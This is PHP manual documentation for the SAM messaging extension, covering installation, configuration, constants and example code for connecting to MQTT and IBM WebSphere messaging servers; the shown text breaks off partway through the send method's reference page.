The SAM extension is a framework that provides a very simple API that can be used to access a number of messaging middleware systems. Currently the package includes built-in support for the MQTT (MQ Telemetry Transport) messaging protocol and support for the IBM Messaging and Queuing middleware products. SAM is designed to be readily extended to support other messaging systems and extension modules may be written in C or PHP.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

The SAM extension interfaces to the IBM Messaging and Queuing middleware products using a set of libraries and some client side code referred to as XMS. This package is available as a free download in the guise of IBM support pack IA94. There is a description of this package and download links in the article » Introducing XMS - The IBM Message Service API.

If you intend to use SAM to access the Messaging and Queuing infrastructure within WebSphere MQ then you will also need to have installed a local MQ queue manager or installed the WebSphere MQ clients package. The clients package is freely available as a support pack (» MQC6).

If you are only aiming to experiment with sending messages to and from WebSphere Application Server queues using the WebSphere Platform Messaging protocol (WPM) then you do not need to install the MQC6 package.

After installing these packages you will need to ensure the XMS binary and, if you are using it, the MQ client bin directory are included in the PATH environment variable so that Apache and PHP can find the dependent .DLLs/libraries.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/sam.

The SAM framework and MQTT support can be built and used without any other prerequisites. Support for protocols other than MQTT is provided via a set of libraries and some client side code referred to as XMS.

If you only intend to use the built-in MQTT support then you can build and configure SAM as an extension or simply refer to php_sam.php with a require or require_once clause in your PHP script. In this case you need only install the code without building the extension using the pear installer:

pecl install -B SAM

Linux installation steps

The sam extension is supplied as a PECL module, which you should be able to download and install in one step as follows:

pecl install sam
(Depending on your php environment, you will probably need to be root to do this.)

Make sure that the module is loaded by PHP, by adding following line to php.ini:

extension=sam.so
If you intend to use the XMS support to access the IBM Messaging and Queuing family you must also enable the SAM XMS extension.
extension=sam_xms.so

If you cannot use the PEAR installer, you can download the extension and build it manually:

pear download sam          #downloads sam-<version>.tgz
tar -xzf sam-<version>.tgz
cd sam-<version>
phpize
./configure
make
make install               #you may need to be root for this step

To work with the very latest source, you'll need to extract it from SVN and build manually as above.

Windows installation steps

You will probably need to build the sam extension for Windows as there are only a limited range of pre-built binaries available from the SAM website. The extension can be built using the standard Windows extension build procedures.

You will need the PHP source tree for the version of PHP you wish to build the SAM extension against which you can obtain from php.net. This should be unpacked into a working directory of your choice.

You will also need the libraries and headers used by PHP extensions available from http://www.php.net/extra/win32build.zip and this should be unzipped so that is in your working directory.

You should have something like:

c:\php-build\-
              |
              |---php-5.0.5--|---build
              |              |---ext
              |              |--- ...
              |
              |---win32build--|---bin
                              |---include
                              |---lib

You will need a compiler such as the free version of Visual Studio C++ Express from the Microsoft web site. Also you need the Microsoft SDK Microsoft Windows Platform which again can be downloaded from the Microsoft web site.

Obtain the SAM extension source using pear (pecl download sam) or by using SVN and copy the files to a new "sam" directory under the "ext" directory in your PHP source tree.

To build the extension open a build environment window by going to the start

menu->all programs->microsoft platform SDK for windows->
open build environment window->windows 200 build environment->
set windows 2000 build environment (retail)

This should open a command prompt with all the environment variables set up to access the platform SDK etc. You then need to set the environment variables for Visual Studio by issuing the command vcvars32.bat in the window.

Change directory to your working directory e.g. cd c:\php-build. Then make sure the win32build tools are accessible by adding them to the PATH environment variable:

set PATH=..\win32build\bin;%PATH%

Run the buildconf.bat command. This should rebuild the configure.js file.

Run the cscript command with the appropriate options. To build just the SAM extension framework and MQTT support use:

cscript /nologo configure.js --with-sam
To build the SAM framework and the XMS support use:
cscript /nologo configure.js --with-sam --with-sam_xms="c:\program files\ibm\xms"

The additional parameter passed for sam_xms is the installation path to the XMS libraries and runtime that were installed as described under prerequisites at the top of this page.

You can specify whatever other cscript parameters you require to include or exclude items from the php build or select options.

Assuming all has gone well so far you can now finally run a make for the SAM framework!

nmake php_sam.dll
Also if you are using the XMS support you must make the sam_xms extensions:
nmake php_sam_xms.dll

If you have used Visual Studio 2005 to build the DLLs please see below for additional steps that must be carried out before proceeding further.

The DLLs created (php_sam.dll and optionally php_sam_xms.dll) can now be copied to the subdirectory appropriate for your PHP set-up. Make sure that the module(s) are loaded by PHP, by adding following line to php.ini:

extension=php_sam.dll
If you intend to use the XMS support to access the IBM Messaging and Queuing family you must also enable the SAM XMS extension.
extension=php_sam_xms.dll

Additional steps for Visual Studio 2005

If you build the SAM extension with the Microsoft Visual Studio 2005 compiler and tools you need to perform an additional step in the build process to ensure the php_sam.dll is able to link with the C runtime libraries at runtime. This step includes the dependancy manifest into the DLL. Switch to the directory where the php_sam.dll has been generated (usually Release_TS or Debug_TS below the php source directory) and issue the following magic incantation:

mt.exe -manifest php_sam.dll.manifest -outputresource:php_sam.dll;2
If you are using the XMS capabilities you will need to do the same with the SAM XMS DLL:
mt.exe -manifest php_sam_xms.dll.manifest -outputresource:php_sam_xms.dll;2

If you build the SAM extension using the compiler and libraries from Microsoft Visual Studio 2005 you will also need to ensure that the runtime components are installed on the system on which you intend to use SAM. This can be accomplished by installing Visual Studio 2005 or by using the freely distributable » runtime package.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

Protocol support and mapping

The SAM framework can be extended to support other messaging protocols and connection mechanisms. To add support for a new protocol or connection library a support class has to be defined, either as a C extension or as a PHP script, and a "factory" script must be created. The support class must implement all the methods of the SAMConnection class though it should not inherit from SAMConnection. The factory script will be called by the SAM framework to create an instance of the implemented class. The way SAM chooses which factory to call is based on the protocol specified as the first parameter of the "connect" call.

By default the built-in MQTT support will be used if a connect call specifies a protocol of SAM_MQTT ("mqtt"), for any other protocol SAM will attempt to use the XMS support extension. To add support for additional protocols or to modify the default behavior entries may be added to php.ini in the [sam] section. The default mapping is equivalent to the following entries:

[sam]
sam.factory.mqtt=mqtt
sam.factory.wmq=xms
sam.factory.wmq:client=xms
sam.factory.wmq:bindings=xms
sam.factory.wpm=xms
sam.factory.rtt=xms
As can be seen from these examples the entries take the form of "sam.factory.pppp=xxx" where pppp is the protocol string specified on the connect call and xxx is a factory suffix. Note: SAM defines constants for these protocol strings such that SAM_WMQ=wmq, SAM_WPM=wpm, SAM_RTT=rtt, SAM_MQTT=mqtt, etc.

When identifying the support code to use on a connect call SAM looks up the protocol name in the php.ini entries and then invokes a factory script named sam_factory_xxx.php. If no entry is found the support will default to XMS.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SAM_AUTO (string)
Automatic behaviour
SAM_BOOLEAN (string)
Type specifier used when setting properties on SAM_Message objects.
SAM_BUS (string)
Connect attribute used to set the name of the enterprise service bus to connect to.
SAM_BYTE (string)
Type specifier used when setting properties on SAM_Message objects.
SAM_BYTES (string)
Message body type descriptor.
SAM_CORRELID (string)
Attribute used on receive, send and remove requests to identify specific messages.
SAM_DELIVERYMODE (string)
Message header property.
SAM_DOUBLE (string)
Type specifier used when setting properties on SAM_Message objects.
SAM_ENDPOINTS (string)
Connect attribute used to define the possible endpoints to connect to.
SAM_FLOAT (string)
Type specifier used when setting properties on SAM_Message objects.
SAM_HOST (string)
Connect attribute used to set the hostname of the required messaging server.
SAM_INT (string)
Type specifier used when setting properties on SAM_Message objects.
SAM_LONG (string)
Type specifier used when setting properties on SAM_Message objects.
SAM_MANUAL (string)
Manual (script controlled) behaviour
SAM_MESSAGEID (string)
Attribute used on receive and remove requests to identify specific messages.
SAM_MQTT (string)
Connect protocol definition for selecting the MQTT (MQ Telemetry Transport) protocol.
SAM_MQTT_CLEANSTART (bool)
Optional connect option to indicate to an MQTT server that all previous connection data for this client should be removed and that subscriptions should be deleted when the client disconnects explicitly or unexpectedly.
SAM_NON_PERSISTENT (string)
Connect attribute value used to request messages are not made persistent on the messaging server.
SAM_PASSWORD (string)
Connect attribute used to define the password to be used for the user account being used to connect to a messaging server that requires authorisation for connections.
SAM_PERSISTENT (string)
Connect attribute value used to request messages are made persistent on the messaging server to protect against loss of messages in the event of failure.
SAM_PORT (string)
Connect attribute used to set the port number on which to communicate with the messaging server.
SAM_PRIORITY (string)
Option name used on send requests to specify a delivery priority value.
SAM_REPLY_TO (string)
Message property used to specify the queue identity on to which the script expects response or reply messages to be posted.
SAM_RTT (string)
Connect protocol definition for selecting the IBM Realtime Transport protocol for communication with a business integration messaging server.
SAM_STRING (string)
Type specifier used when setting properties on SAM_Message objects.
SAM_TARGETCHAIN (string)
Connection attribute used to set the required target chain identifier.
SAM_TEXT (string)
Message body type descriptor.
SAM_TIMETOLIVE (string)
Message send option name used to specify the length of time a message should be retained in milliseconds.
SAM_TRANSACTIONS (string)
Connection attribute used to set required transactional behaviour. May be set to SAM_AUTO (default) or SAM_MANUAL.
SAM_USERID (string)
Connect attribute used to define the account to being used to connect to a messaging server that requires authorisation for connections.
SAM_WAIT (string)
Receive property used to specify the wait timeout to be used when receiving a message from a queue or subscription.
SAM_WMQ (string)
Connect protocol definition for selecting the IBM WebSphere MQSeries protocol for communication with the desired messaging server.
SAM_WMQ_BINDINGS (string)
Connect protocol definition for selecting the IBM WebSphere MQSeries protocol for communication with a local messaging server.
SAM_WMQ_CLIENT (string)
Connect protocol definition for selecting the IBM WebSphere MQSeries protocol for communication with a remote messaging server.
SAM_WMQ_TARGET_CLIENT (string)
Option name used on send requests to specify the target client mode. This can either be default to 'jms' or 'mq'. The default is 'jms' which means an RFH2 header is sent with the message whereas the 'mq' setting means no RFH2 is included.
SAM_WPM (string)
Connect protocol definition for selecting the IBM WebSphere Platform Messaging protocol for communication with a WebSphere Application Server messaging server.

User Contributed Notes

There are no user contributed notes for this page.


Examples

Table of Contents

  • Connections
  • Messages
  • Messaging operations
  • Publish/Subscribe and subscriptions to topics
  • Error handling

User Contributed Notes

There are no user contributed notes for this page.


Connections

In order to perform any messaging and queueing functions a connection must be established with a messaging server by creating a SAMConnection object and calling its "connect" method, with a set of connection properties, to connect the PHP script to the messaging server. Until such time as the SAMConnection object is destroyed the connection will be maintained and available for use. All SAMConnection objects are destroyed when the PHP script exits.

A set of default properties may be used in connecting to a messaging server but as a minimum the PHP script must specify a protocol to be used.

Example #1 Creating a connection and connecting to a remote WebSphere MQSeries Messaging Server

<?php
$conn = new SAMConnection();
$conn->connect(SAM_WMQ, array(SAM_HOST => 'myhost.mycompany.com',
                              SAM_PORT => 1506,
                              SAM_BROKER => 'mybroker'));
?>

Example #2 Creating a connection and connecting to a remote WebSphere Application Server

<?php
$conn = new SAMConnection();
$conn->connect(SAM_WPM, array(SAM_ENDPOINTS => 'localhost:7278:BootstrapBasicMessaging',
                              SAM_BUS => 'Bus1',
                              SAM_TARGETCHAIN => 'InboundBasicMessaging'));
?>

Example #3 Creating a connection and connecting to an MQTT server

<?php
$conn = new SAMConnection();
$conn->connect(SAM_MQTT, array(SAM_HOST => 'myhost.mycompany.com',
                               SAM_PORT => 1883));
?>

User Contributed Notes

There are no user contributed notes for this page.


Messages

Messages sent to and received from queues are represented by the SAMMessage object. The SAMMessage object encapsulates the body of the message (if one exists) and the header properties associated with the message. A SAMMessage object is either supplied as a parameter to a messaging operation or returned as a result.

Example #1 Creating a message with a simple text body

<?php
$msg = new SAMMessage('This is a simple text message');
?>

Messages may have header properties associated with them that provide control over the transport of the message or further information to the receiving application. By default message properties are delivered to the underlying messaging system as strings and in this case they may be set with the following simple syntax:

Example #2 Setting a text format property using the default syntax

<?php
$msg->header->myPropertyName = 'textData';
?>

If it is desired to pass type information an alternative syntax may be used where the value and the type hint are passed in an associative array:

Example #3 Setting a property using a type hint

<?php
$msg->header->myPropertyName = array(3.14159, SAM_FLOAT);
?>

Properties may also be extracted from the header of a message.

Example #4 Retrieving a property from a message header

<?php
$myProperty = $msg->header->myPropertyName;
?>

User Contributed Notes

There are no user contributed notes for this page.


Messaging operations

All messaging operations are performed through calls to methods on the connection object. To add a message to a queue the "send" method is used, to obtain a message from a queue the "receive" method is used. Other methods provide publish and subscribe functionality and control of transaction boundaries.

Example #1 Adding a message to a queue and receiving a response

<?php
$msg = new SAMMessage('This is a simple text message');
$msg->header->SAM_REPLY_TO = 'queue://receive/test';
$correlid = $conn->send('queue://send/test', $msg);

if (!$correlid) {
  // The Send failed!
  echo "Send failed ($conn->errno) $conn->error";
} else {
  $resp = $conn->receive('queue://receive/test', array(SAM_CORRELID => $correlid));
}
?>

User Contributed Notes

a dot hoyau at silexlabs dot org 24-Aug-2011 01:27
Hello

I think that most people people coming here are looking to do this on client side, in client/server web applications

Sam is not made for this, but to connect servers together - systems in fact. See http://project-sam.awardspace.com/overview.htm

Since PHP is stateless it is really hard to do collaborative applications with a PHP back-end and very few solutions exist. So, for those looking for this, I put here a link to a messaging server in PHP - free open source and community driven: http://php-polling.sourceforge.net/

Hoping this will make you save time!


Publish/Subscribe and subscriptions to topics

SAM allows messages to be sent either to queues or, for WebSphere MQ and WPM, to publish/subscribe topics. A topic destination is specified to SAM in the usual way, i.e. in the form 'topic://fred', rather than the form 'queue://AQUEUE' used for point to point operation. To use publish/subscribe it is simply necessary to specify the correct broker name on the SAMConnect "connect" call and the desired topic in the destination argument to the SAMConnect "send" and "receive" calls. The PHP interface is otherwise identical to the point to point model.

By default, SAM creates non-durable subscriptions when using publish/subscribe. This means that if a client application is inactive when messages are published to a topic, then it will not receive them when it subsequently restarted. SAM does also allow durable subscriptions to be made to topics when using WPM or WebSphere MQ publish/subscribe. The purpose of these subscriptions is to allow data to be received by a client application even if that client was not active at the time the data was published.

Durable subscriptions are specified by using the SAMConnect "subscribe" call. This method takes the destination topic as an input parameter and returns a subscription identifier that may be used on subsequent "receive" calls. When the subscription is no longer required the SAMConnection "unsubscribe" method should be used to delete the subscription.

Example #1 Creating a durable subscription to a topic

<?php

$subName = $conn->subscribe('topic://A');

if (!$subName) {
   echo "Subscribe failed";
} else {
   # Subscribe was OK
   // ...
}
?>

Example #2 Subscribing to a topic using a WebSphere Platform Messaging (WPM) server

<?php
$conn = new SAMConnection();
// Note: For pub/sub on WPM, when connecting the name of a messaging engine
//   to hold the durable subscription (SAM_WPM_DUR_SUB_HOME) must be specified.
$conn->connect(SAM_WMQ, array(SAM_ENDPOINTS => 'localhost:7278:BootstrapBasicMessaging',
                              SAM_BUS => 'Bus1',
                              SAM_TARGETCHAIN => 'InboundBasicMessaging',
                              SAM_WPM_DUR_SUB_HOME => 'MyMachineNode01.server1-Bus1'));

$subName = $conn->subscribe('topic://A');

if (!$subName) {
   echo "Subscribe failed";
} else {
   # Subscribe was OK
   // ...
}
?>

Example #3 Receiving published data using a durable subscription

<?php

$msg = $conn->receive($subName);
if ($msg) {
   echo "Received a message OK";
} else {
   echo "The receive failed";
}

?>

Example #4 Deleting a durable subscription to a topic

<?php

if (!$conn->unsubscribe($subName)) {
   echo "Unsubscribe failed";
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Error handling

All SAMConnection methods that provide access to messaging operations return FALSE if an error occurred in processing the request. In addition the SAMConnection object has two properties, "errno" and "error", that provide respectively the error number and text description of the last error to occur on the connection.

Example #1 Handling an error from a method that returns no result

<?php
if (!$conn->commit()) {
    // The commit failed!
    echo "Commit failed ($conn->errno) $conn->error";
}
?>

Example #2 Handling an error from a method that returns a result

<?php
$correlid = $conn->send('queue://send/test', $msg);

if (!$correlid) {
  // The Send failed!
  echo "Send failed ($conn->errno) $conn->error";
} else {
  /* ... */
}
?>

User Contributed Notes

There are no user contributed notes for this page.


SAM Functions

Predefined Classes

SAMConnection

Object representing a connection to a Messaging Server

Constructor

  • new SAMConnection - construct a new connection object to allow connection to a messaging infrastructure.

Methods

  • commit - a method that commits (successfully completes) an in-flight unit of work.

  • connect - a method that connects a PHP script to a messaging server.

  • disconnect - a method that disconnects a PHP script from a messaging server.

  • isConnected - a method that checks whether a PHP script is connected to a messaging server.

  • peek - a method that receives a message from a queue without removing it from the queue.

  • peekAll - a method that receives one or messages from a queue without removing them from the queue.

  • receive - a method that receives a message from a queue or subscription.

  • remove - a method that removes a message from a queue.

  • rollback - a method that cancels (rolls back) an in-flight unit of work.

  • send - a method that sends a message to a queue or posts to a topic

  • setDebug - a method that switches additional debugging output on or off

  • subscribe - a method that creates a subscription to one or more topics

  • unsubscribe - a method that destroys a subscription to one or more topics

Properties

  • errno - the numeric error code for the last encountered error on this connection. This property is set to 0 if the last operation was successful.

  • error - the text description for the last encountered error on this connection

SAMMessage

Object representing a message to be sent or received

Constructor

  • new SAMMessage - construct a new message.

Properties

  • body - the body of the message.

  • header - the header properties of the message.

Table of Contents

  • SAMConnection::commit — Commits (completes) the current unit of work.
  • SAMConnection::connect — Establishes a connection to a Messaging Server
  • SAMConnection::__construct — Creates a new connection to a Messaging Server
  • SAMConnection::disconnect — Disconnects from a Messaging Server
  • SAMConnection::errno — Contains the unique numeric error code of the last executed SAM operation.
  • SAMConnection::error — Contains the text description of the last failed SAM operation.
  • SAMConnection::isConnected — Queries whether a connection is established to a Messaging Server
  • SAMConnection::peek — Read a message from a queue without removing it from the queue.
  • SAMConnection::peekAll — Read one or more messages from a queue without removing it from the queue.
  • SAMConnection::receive — Receive a message from a queue or subscription.
  • SAMConnection::remove — Remove a message from a queue.
  • SAMConnection::rollback — Cancels (rolls back) an in-flight unit of work.
  • SAMConnection::send — Send a message to a queue or publish an item to a topic.
  • SAMConnection::setDebug — Turn on or off additional debugging output.
  • SAMConnection::subscribe — Create a subscription to a specified topic.
  • SAMConnection::unsubscribe — Cancel a subscription to a specified topic.
  • SAMMessage::body — The body of the message.
  • SAMMessage::__construct — Creates a new Message object
  • SAMMessage::header — The header properties of the message.

User Contributed Notes

There are no user contributed notes for this page.


Commits (completes) the current unit of work.

  • « SAM Functions
  • SAMConnection::connect »
  • PHP Manual
  • SAM Functions
  • Commits (completes) the current unit of work.

SAMConnection::commit

(PECL sam >= 0.1.0)

SAMConnection::commit — Commits (completes) the current unit of work.

Description

bool SAMConnection::commit ( void )

Calling the "commit" method on a Connection object commits (completes) all in-flight transactions that are part of the current unit of work.

Return Values

This method returns FALSE if an error occurs.

Examples

Example #1 Committing the current unit of work

<?php
  if (!$conn->commit()) {
    // The commit failed!
    echo "Commit failed ($conn->errno) $conn->error";
  }
?>

See Also

  • SAMConnection::rollback

User Contributed Notes

There are no user contributed notes for this page.


Establishes a connection to a Messaging Server

  • « SAMConnection::commit
  • SAMConnection::__construct »
  • PHP Manual
  • SAM Functions
  • Establishes a connection to a Messaging Server

SAMConnection::connect

(PECL sam >= 0.1.0)

SAMConnection::connect — Establishes a connection to a Messaging Server

Description

bool SAMConnection::connect ( string $protocol [, array $properties ] )

Calling the "connect" method on a SAMConnection object connects the PHP script to a messaging server. No messages can be sent or received until a connection is made.

Parameters

Return Values

This method returns FALSE if an error occurs.

Examples

Example #1 Creating a connection to a Messaging Server using the IBM MQSeries protocol (WMQ)

<?php

$conn->connect(SAM_WMQ, array(SAM_HOST => 'Myhost.myco.com', SAM_PORT => 1506, SAM_BROKER => 'MyBroker'));

?>

Example #2 Creating a connection with application transaction control and default host and port values

<?php

$conn->connect(SAM_WMQ, array(SAM_BROKER => 'MyBroker', SAM_TRANSACTIONS => SAM_MANUAL));

?>

Example #3 Creating a connection to a Messaging Server using the IBM WebSphere Platform Messaging protocol (WPM)

<?php

$conn->connect(SAM_WPM, array(SAM_ENDPOINTS => 'localhost:7278:BootstrapBasicMessaging',
                              SAM_BUS => 'Bus1', SAM_TARGETCHAIN => 'InboundBasicMessaging'));

?>

See Also

  • SAMConnection::isConnected
  • SAMConnection::disconnect

User Contributed Notes

There are no user contributed notes for this page.


Creates a new connection to a Messaging Server

  • « SAMConnection::connect
  • SAMConnection::disconnect »
  • PHP Manual
  • SAM Functions
  • Creates a new connection to a Messaging Server

SAMConnection::__construct

(PECL sam >= 0.1.0)

SAMConnection::__construct — Creates a new connection to a Messaging Server

Description

SAMConnection::__construct ( void )

Creates a new SAMConnection object.

Examples

Example #1 Creating a connection object and connecting to a Messaging Server

<?php

$conn = new SAMConnection();
$conn->connect(SAM_WMQ, array(SAM_HOST => localhost, SAM_PORT => 1414, SAM_BROKER => 'bull'));

?>

User Contributed Notes

There are no user contributed notes for this page.


Disconnects from a Messaging Server

  • « SAMConnection::__construct
  • SAMConnection::errno »
  • PHP Manual
  • SAM Functions
  • Disconnects from a Messaging Server

SAMConnection::disconnect

(PECL sam >= 0.1.0)

SAMConnection::disconnect — Disconnects from a Messaging Server

Description

bool SAMConnection::disconnect ( void )

Calling the "disconnect" method on a SAMConnection object disconnects the PHP script from a messaging server. No messages can be sent or received after a connection has been disconnected.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Disconnecting from a Messaging Server

<?php

$conn->disconnect();

?>

See Also

  • SAMConnection::isConnected
  • SAMConnection::connect

User Contributed Notes

There are no user contributed notes for this page.


Contains the unique numeric error code of the last executed SAM operation.

  • « SAMConnection::disconnect
  • SAMConnection::error »
  • PHP Manual
  • SAM Functions
  • Contains the unique numeric error code of the last executed SAM operation.

SAMConnection::errno

(PECL sam >= 0.1.0)

SAMConnection::errno — Contains the unique numeric error code of the last executed SAM operation.

Description

int $SAMConnection->errno;

Contains the numeric error code of the last executed SAM operation on this connection. If the last operation completed successfully this property contains 0.

Return Values

An integer greater than zero indicates the last error type encountered on the connection. Zero indicates that the last operation on this connection completed successfully.

Examples

Example #1 Using the error number and description properties

<?php
$conn = new SAMConnection();
$conn->connect(SAM_WMQ, array(SAM_HOST => 'localhost', SAM_PORT => 1506));
$msg = new SAMMessage('This is a simple text item');
if (!$conn->send('topic://test', $msg)) {
    // The Send failed!
    echo "Send failed ($conn->errno) $conn->error";
}
?>

See Also

  • SAMConnection::error

User Contributed Notes

There are no user contributed notes for this page.


Contains the text description of the last failed SAM operation.

  • « SAMConnection::errno
  • SAMConnection::isConnected »
  • PHP Manual
  • SAM Functions
  • Contains the text description of the last failed SAM operation.

SAMConnection::error

(PECL sam >= 0.1.0)

SAMConnection::error — Contains the text description of the last failed SAM operation.

Description

string $SAMConnection->error;

Contains the text description of the last failed SAM operation on this connection. If the last operation completed successfully this property contains an empty string.

Return Values

A string containing the text description of the last error type encountered on the connection. An empty string indicates that the last operation on this connection completed successfully.

Examples

Example #1 Using the error number and description properties

<?php
$conn = new SAMConnection();
$conn->connect(SAM_WMQ, array(SAM_HOST => 'localhost', SAM_PORT => 1506));
$msg = new SAMMessage('This is a simple text item');
if (!$conn->send('topic://test', $msg)) {
    // The Send failed!
    echo "Send failed ($conn->errno) $conn->error";
}
?>

See Also

  • SAMConnection::errno

User Contributed Notes

There are no user contributed notes for this page.


Queries whether a connection is established to a Messaging Server

  • « SAMConnection::error
  • SAMConnection::peek »
  • PHP Manual
  • SAM Functions
  • Queries whether a connection is established to a Messaging Server

SAMConnection::isConnected

(PECL sam >= 0.1.0)

SAMConnection::isConnected — Queries whether a connection is established to a Messaging Server

Description

bool SAMConnection::isConnected ( void )

Calling the "isConnected" method on a Connection object will check whether the PHP script is connected to a messaging server. No messages can be sent or received unless a connection has been established with a Messaging server.

Return Values

This method returns TRUE if the SAMConnection object is successfully connected to a Messaging server or FALSE otherwise.

Examples

Example #1 Checking whether there us a connection to a Messaging Server

<?php

if ($conn->isConnected()) {
  echo 'Connection is active.';
} else {
  echo 'No active connection!';
}

?>

See Also

  • SAMConnection::disconnect
  • SAMConnection::connect

User Contributed Notes

There are no user contributed notes for this page.


Read a message from a queue without removing it from the queue.

  • « SAMConnection::isConnected
  • SAMConnection::peekAll »
  • PHP Manual
  • SAM Functions
  • Read a message from a queue without removing it from the queue.

SAMConnection::peek

(PECL sam >= 0.1.0)

SAMConnection::peek — Read a message from a queue without removing it from the queue.

Description

SAMMessage SAMConnection::peek ( string $target [, array $properties ] )

Parameters

target

The identity of the queue from which to peek the message.

properties

An optional associative array of properties describing other parameters to control the peek operation.

Property name | Possible values
SAM_CORRELID | This is the target correlation id string of the message. This would typically have been returned by a "send" request.
SAM_MESSAGEID | This is the message id string of the message which is to be peeked.

Return Values

This method returns a SAMMessage object or FALSE if an error occurs.

Examples

Example #1 Retrieve the next message from a queue without removing it

<?php
$msg = $conn->peek('queue://receive/test');

if (!$msg) {
  // The peek failed!
  echo "Peek failed ($conn->errno) $conn->error";
}
?>

Example #2 Retrieve a specific message from a queue without removing it from the queue

<?php

$msg = $conn->peek('queue://receive/test', array(SAM_MESSAGEID => $messageId));

?>

See Also

  • SAMConnection::peekAll

User Contributed Notes

There are no user contributed notes for this page.


Read one or more messages from a queue without removing it from the queue.

  • « SAMConnection::peek
  • SAMConnection::receive »
  • PHP Manual
  • SAM Functions
  • Read one or more messages from a queue without removing it from the queue.

SAMConnection::peekAll

(PECL sam >= 0.2.0)

SAMConnection::peekAll — Read one or more messages from a queue without removing it from the queue.

Description

array SAMConnection::peekAll ( string $target [, array $properties ] )

Parameters

target

The identity of the queue from which messages should be peeked.

properties

An optional associative array of properties describing other parameters to control the peek operation.

Property name | Possible values
SAM_CORRELID | This is the target correlation id string of messages to be peeked. This would typically have been returned by a "send" request.
SAM_MESSAGEID | This is the message id string of a message which is to be peeked.

Return Values

This method returns an array of SAMMessage objects or FALSE if an error occurs.

Examples

Example #1 Retrieve all messages in a queue without removing them

<?php
$msgArray = $conn->peekAll('queue://receive/test');
if ($msgArray) {
   foreach ( $msgArray as $key => $msg) {
       echo "Message $key: body = $msg->body\n";
   }
} else {
   echo "PeekAll failed ($conn->errno) $conn->error";
}
?>

Example #2 Retrieve all messages from a queue with a matching correlation id

<?php

   $msgArray = $conn->peekAll('queue://receive/test', array(SAM_CORRELID => $correlId ));
   if ($msgArray) {

      foreach ( $msgArray as $key => $msg) {
            echo "Message $key: body = $msg->body\n";
         }
   } else {
      echo "PeekAll failed ($conn->errno) $conn->error";
   }

?>

See Also

  • SAMConnection::peek

User Contributed Notes

There are no user contributed notes for this page.


Receive a message from a queue or subscription.

  • « SAMConnection::peekAll
  • SAMConnection::remove »
  • PHP Manual
  • SAM Functions
  • Receive a message from a queue or subscription.

SAMConnection::receive

(PECL sam >= 0.1.0)

SAMConnection::receive — Receive a message from a queue or subscription.

Description

SAMMessage SAMConnection::receive ( string $target [, array $properties ] )

Parameters

target

The identity of the queue, topic or subscription from which to receive the message.

properties

An optional associative array of properties describing other parameters to control the receive operation.

Property name | Possible values
SAM_CORRELID | Used to request selection of the message to receive based upon the correlation id string of the message.
SAM_MESSAGEID | Used to request selection of the message to receive based upon the message id string of the message.
SAM_WAIT | Timeout value in milliseconds to control how long the request should block waiting to receive a message before returning with a failure if no message is available on the queue or topic. The default value is 0 meaning wait indefinitely and should be used with caution as the request may wait until the overall PHP script processing time limit has expired if no message becomes available.

Return Values

This method returns a SAMMessage object or FALSE if an error occurs.

Examples

Example #1 Receiving a message from a queue

<?php
$msg = $conn->receive('queue://receive/test');

if (!$msg) {
  // The receive failed!
  echo "Receive failed ($conn->errno) $conn->error";
}
?>

Example #2 Receiving a message from a queue with options

In this example the SAM_CORRELID option is used to specify a correlation id string to be used to identify the message to receive. A wait timeout of 10 seconds is also specified.

<?php

$msg = $conn->receive('queue://receive/test', array(SAM_CORRELID => $token, SAM_WAIT => 10000));

?>

Example #3 Receiving a message from a subscription

In this example we show how to receive a message from a subscription id.

<?php
$msg = $conn->receive($subscriptionName);

if (!$msg) {
  // The receive failed!
  echo "Receive failed ($conn->errno) $conn->error";
}
?>

Please note that $subscriptionName is a subscription id returned from an earlier subscribe call.

See Also

  • SAMConnection::send

User Contributed Notes

There are no user contributed notes for this page.


Remove a message from a queue.

  • « SAMConnection::receive
  • SAMConnection::rollback »
  • PHP Manual
  • SAM Functions
  • Remove a message from a queue.

SAMConnection::remove

(PECL sam >= 0.1.0)

SAMConnection::remove — Remove a message from a queue.

Description

SAMMessage SAMConnection::remove ( string $target [, array $properties ] )

Removes a message from a queue.

Parameters

target

The identity of the queue from which to remove the message.

properties

An optional associative array of properties describing other parameters to control the remove operation.

Property name | Possible values
SAM_CORRELID | This is the target correlation id string of the message. This would typically have been returned by a "send" request.
SAM_MESSAGEID | This is the message id string of the message which is to be removed.

Return Values

This method returns FALSE if an error occurs.

Examples

Example #1 Removing a message from a queue by message id

<?php
if (!$conn->remove('queue://receive/test', array(SAM_MESSAGEID => $messageId))) {
  // The remove failed!
  echo "Remove failed ($conn->errno) $conn->error";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Cancels (rolls back) an in-flight unit of work.

  • « SAMConnection::remove
  • SAMConnection::send »
  • PHP Manual
  • SAM Functions
  • Cancels (rolls back) an in-flight unit of work.

SAMConnection::rollback

(PECL sam >= 0.1.0)

SAMConnection::rollback — Cancels (rolls back) an in-flight unit of work.

Description

bool SAMConnection::rollback ( void )

Rolls back an in-flight unit of work.

Return Values

This method returns FALSE if an error occurs.

Examples

Example #1 Cancelling an in-flight unit of work

<?php
if (!$conn->rollback()) {
  // The rollback failed!
  echo "Rollback failed ($conn->errno) $conn->error";
}
?>

See Also

  • SAMConnection::commit

User Contributed Notes

There are no user contributed notes for this page.


Send a message to a queue or publish an item to a topic.

  • « SAMConnection::rollback
  • SAMConnection::setDebug »
  • PHP Manual
  • SAM Functions
  • Send a message to a queue or publish an item to a topic.

SAMConnection::send

(PECL sam >= 0.1.0)

SAMConnection::send — Send a message to a queue or publish an item to a topic.

Description

string SAMConnection::send ( string $target , SAMMessage $msg [, array $properties ] )

The "send" method is used to send a message to a specific queue or to publish to a specific topic. The method returns a correlation id that can be used as a selector to identify reply or response messages when these are requested.

Parameters

target

If sending a message, the identity of the queue (queue://queuename) or if publishing to a topic the identity of the topic (topic://topicname) to which the message is to be delivered.

msg

The message to be sent or published.

properties

An optional associative array of properties describing other parameters to control the receive operation.

Property name | Possible values
